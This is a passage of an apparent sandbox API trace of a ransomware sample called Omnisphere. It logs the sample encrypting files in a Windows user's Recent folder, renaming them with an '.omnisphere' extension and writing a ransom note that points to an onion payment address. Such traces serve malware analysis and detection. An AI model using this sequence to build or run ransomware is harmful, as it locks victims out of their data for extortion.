pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.768] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.768] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.768] CloseHandle (hObject=0x28c) returned 1 [0118.768] GetProcessHeap () returned 0x1600000 [0118.768] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.768] GetProcessHeap () returned 0x1600000 [0118.768] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e0e8 | out: hHeap=0x1600000) returned 1 [0118.768] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e34180d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e34180d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e34180d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0xd3, cFileName="1d7dZR0.lnk", cAlternateFileName="")) returned 1 [0118.768] GetProcessHeap () returned 0x1600000 [0118.769] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x165e728 [0118.769] PathCombineW (in: pszDest=0x165e728, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="1d7dZR0.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1d7dZR0.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1d7dZR0.lnk" [0118.769] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.769] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1d7dZR0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1d7dzr0.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.769] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=805) returned 1 [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.769] GetTickCount () returned 0x115daeb [0118.770] GetTickCount () returned 0x115daeb [0118.770] GetTickCount () returned 0x115daeb [0118.770] GetTickCount () returned 0x115daeb [0118.770] GetTickCount () returned 0x115daeb [0118.770] GetTickCount () returned 0x115daeb [0118.770] GetTickCount () returned 0x115daeb [0118.770] GetTickCount () returned 0x115daeb [0118.770] GetTickCount () returned 0x115daeb [0118.770] GetTickCount () returned 0x115daeb [0118.770] GetTickCount () returned 0x115daeb [0118.770] GetTickCount () returned 0x115daeb [0118.770] GetTickCount () returned 0x115daeb [0118.770] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668460) returned 1 [0118.770] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0118.770] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.771] CryptDestroyKey (hKey=0x1639868) returned 1 [0118.771] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0118.771] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x325, lpName=0x0) returned 0x288 [0118.771] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x325) returned 0x1480000 [0118.771] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669098) returned 1 [0118.771] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.772] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.772] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.773] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.774] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.774] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0118.774] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x325, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.774] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.774] GetProcessHeap () returned 0x1600000 [0118.774] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16abfd0 [0118.774] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1d7dZR0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1d7dzr0.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1d7dZR0.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1d7dzr0.lnk.omnisphere")) returned 1 [0118.774] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1d7dZR0.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1d7dZR0.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1d7dZR0.lnk.omnisphere.id" [0118.775] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1d7dZR0.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1d7dzr0.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.775] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.776] CloseHandle (hObject=0x3c0) returned 1 [0118.777] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.777] CloseHandle (hObject=0x288) returned 1 [0118.777] SetEndOfFile (hFile=0x28c) returned 1 [0118.777] FlushFileBuffers (hFile=0x28c) returned 1 [0118.780] CloseHandle (hObject=0x28c) returned 1 [0118.781] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1d7dZR0.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.781] GetProcessHeap () returned 0x1600000 [0118.781] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ac280 [0118.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.781] GetProcessHeap () returned 0x1600000 [0118.781] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693d28 [0118.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693d28, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.781] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.781] GetProcessHeap () returned 0x1600000 [0118.781] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686f68 [0118.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686f68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.781] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.781] GetProcessHeap () returned 0x1600000 [0118.781] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1c90 [0118.781] PathCombineW (in: pszDest=0x16a1c90, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.781] GetProcessHeap () returned 0x1600000 [0118.781] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a7f88 [0118.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.782] WriteFile (in: hFile=0x28c, lpBuffer=0x16a7f88*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a7f88*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.782] CloseHandle (hObject=0x28c) returned 1 [0118.782] GetProcessHeap () returned 0x1600000 [0118.782] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ac280 | out: hHeap=0x1600000) returned 1 [0118.782] GetProcessHeap () returned 0x1600000 [0118.782] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.782] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.782] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.782] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.782] CloseHandle 